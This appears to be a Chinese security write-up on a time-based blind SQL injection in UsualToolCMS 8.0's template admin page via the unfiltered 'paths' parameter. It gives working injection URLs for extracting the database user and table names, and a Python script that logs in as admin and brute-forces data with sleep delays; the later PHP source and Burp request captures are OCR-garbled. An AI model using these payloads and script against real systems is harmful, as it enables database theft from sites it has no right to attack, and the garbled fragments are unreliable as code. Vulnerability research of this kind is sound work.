[bookmark: 6030-1567389407948]1.环境
[bookmark: 6190-1567389436913]环境版本信息：UsualToolCMS-8.0-Release
[bookmark: 5014-1567389430132]版本下载：http://www.a5xiazai.com/php/140604.html
[bookmark: 1492-1567389430132]官网下载：https://cms.usualtool.com/down/UsualToolCMS-8.0-Release.zip
[bookmark: 3817-1567389441272]
[bookmark: 9045-1567389441747]2.漏洞分析
[bookmark: 9728-1567389450578]在./cmsadmin/a_templetex.php文件第137行，paths变量没有过滤，136行从get处获取paths，没有任何过滤
[bookmark: 9285-1567389535997][image: clipboard.png]
[bookmark: 7510-1567389535997]当从get处获得的t等于open时就可以出发这个sql注入，在文件第129行
[bookmark: 5855-1567389577940][image: clipboard.png]
[bookmark: 2070-1567389577940]构造payload：cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),1,1))>0,sleep(5),1)--+
[bookmark: 7016-1567389649059][image: clipboard.png]
[bookmark: 7545-1567389649059]由于是时间盲注，编写延迟注入脚本
# -*- coding:utf-8 -*-
import time
import requests
session = requests.session()
headers = {'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0'}
img_url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/class/UsualToolCMS_Code.php?r=13720'
img_req = session.get(url=img_url,headers=headers).content
with open('pic.png','wb') as f:
    f.write(img_req)
code = input('请输入验证码：')
[bookmark: _GoBack]data = {
    'uuser':'admin',
    'upass':'admin',
    'ucode':code
}
payloads = list('root@localhostasfafsasf')
url = 'http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_login.php?do=login'
response = session.post(url=url,headers=headers,data=data)
res_url_1 = "http://192.168.8.108:8081/UsualToolCMS-8.0-Release/cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring(user(),{},1))={},sleep(5),1)--+"
result = ''
for i in range(1,15):
    for payload in payloads:
        res_url_2 = res_url_1.format(str(i),ord(payload))
        start_time = time.time()
        response = session.get(url=res_url_2,headers=headers)
        if time.time() - start_time > 7:
            result = result + payload
            print(result)
            break
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[bookmark: 4035-1567389660596][bookmark: 2133-1567389933109][image: clipboard.png]
[bookmark: 6881-1567389684784]爆数据库表payload：cmsadmin/a_templetex.php?t=open&id=1&paths=templete/index' where id=1 and if(ascii(substring((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>0,sleep(5),1)--+
[bookmark: 7614-1567389905715][image: clipboard.png]
[bookmark: 9998-1567389905715]
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if($t=="open"){

$id=UsualToolCMS: :sqlcheck($_GET["id"]);
if(lempty($_GET["0id"])){
$oid=UsualToolCMS: :sqlcheck($_GET["oid"]);
}else{

$oid-0; / )
} /
$paths-$_GET["paths"]1;

$sqll = "UPDATE cms_setup set template='$paths' WHERE id=1";
$sql2 = "UPDATE cms_templete set isopen=0 WHERE id=$o0id";
if($mysqli->query($sqll) && $mysqli->query($sql2)){
$result=mysqli_query($mysqli,"UPDATE cms_templete set isopen=1 WHERE id=$id");
if(!$result){

echo "<script>alert('iEiRFF/S%M!");window. location.href="a_templete.php'</script>";
}else{echo "<script>alert('#EiRFFERLLN! ") ;window.location.href="a_templete.php'</script>";}
}else{

echo "<script>alert('i&EiRFF/S%M!");window.location.href="a_templete.php'</script>";

}

$mysqli->close();

}
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endir;

}

if($t=="open"){ —
$id=UsualToolCMsS: :sqlcheck($_GET["id"]);
if(lempty($_GET["0id"])){

$0id=UsualToolCMS: :sqlcheck($_GET["0id"]); ~
}else{

$0id=0;

}
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[ Target | Proxy | Spider | Scanner | ntruder [ Repeater | Sequencer | Decoder | Comparer | Extender | Project options | User options | Alets |
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Done

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render

GET = HTP/L12000K S
/UsualToolCMIS-8.0-Release/cmsadminfa_templetex php7t=open&id=1&paths=te Date: IMon, 02 Sep 2019 020029 GMT
plete/index%27%20ihere%20id=1%20and%20(ascilsubstring(user, ,))%3EC, Server: Apache/24.23 (Win32) OpenssL/102)
sleep(),--+ HTTP/11 mod fegid/239
Host }z 16881088081 X-Powered-By. PHP/53.29
User-Agent: Mozilla/5.0 (Windows NT 10.0, Winb4; x64; 1v:66.0) Gecko/20100101 res: Thu, 19 Nov 1981 08:52.00 GMT
Firefox/66.0 Cache-Control. no-store, no-cache, must-revalidate,
Accept tes/htmi application)shtml-+xmi application/+mi,g=09/%q=08 post-check =0, pre-check=0
Accept-Language Pragma: no-cache
2h-CNZhq=08zh-TW,g=07.2h-HK=0.5,en-US,q=03 enq=0.2 Connection: close
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671user(, 04716062767, NULL <IDOCTYPE html PUBLIC *~//W3C//DTD HTML 401
Connection: close Transitional//EN"
Cookie UTCMSLanguage=2h; PHPSESSID=r829iSciaro2050k850cead “httpy/ w3 org/ TR/himid/loose dtd">
Upgrade-Insecure-Requests: | <himl>

<head>

<meta hitp-equiv="content-type" content="text/htrn;

charset=UTF-&" />

'y <meta http-equiv="content-language” content="zh-CN" [y
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[Target | Proxy | Spider | Scanner | ntruder [ Repeater | Sequencer | Decoder | Comparer | Extendsr | Project options | User options | Alets |

Go Cancel | [ < [v || >|v Target: http://192.168.8.108:8081 @ H
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | HTML | Render
GET [+ HTTP/112000K [a

/UsualToolCMS-8.0-Release/cmsadrminfa templetex php?t=open&id=1
&paths =templete/index%27%20where%20id=1%20and%20i(asciilsubs
tring((select%20table name?20from%20information schematables%2
Ouhere%20table_schema=database(%20limit%200,1)1,1)%3E0sleep(5)
)+ HTTP/L1

Host 192.168.8.108:8081

User-Agent: Mozilla/5.0 (Windows NT 10.0, Win64; x64; rv:66.0)
Gecko/ 20100101 Firefox/66.0

Accept text/html application/xhtrl+xm application sl =09/%=08
Accept-Language:

2h-CNzhg=0,
Referer
http//192.168 8.108:8081/UsualToolCS -8 0-Release/cmsadrmin/a_boo
k_category. php?t=mongid=1%20UNION%20ALL %20SELECT?%20NUL
L.CONCAT(071766a767luser() O<7160627671,NULL

Connection: close

Cookie UTCMSLanguage=zh;

PHPSESSID =r829jtifdciaro2050k850cea0

Upgrade-Insecure-Requests:

DR ——
Done

TWiq=07,zh-HK:q=05 en-US,q=03nq=02

0 matches

Date: Mon, 02 Sep 2019 02:04:39 GMT
Server: Apache/24.23 (Win32) OpenSSL/1.0.2j mod fegid/23.9
X-Powered-By. PHP/53.29
xpires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Connection: close
Content-Type: text/htrml
Content-Length: 7298

IDOCTYPE html PUBLIC *//W3C//DTD HTML 401 Transitional//EN"
“http//ssww3.org/TR/htmid/loose dtd”>

<html>

<head>

<meta hitp-equiv="content-type" content="text/htrnl;

charset=UTF-8
<meta hitp-equiv="content-language" content
"robots” content="indexfollow" />

<meta name="keywords" content="UsualToolCMS, UsualTool.coly’
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2h-CN" />
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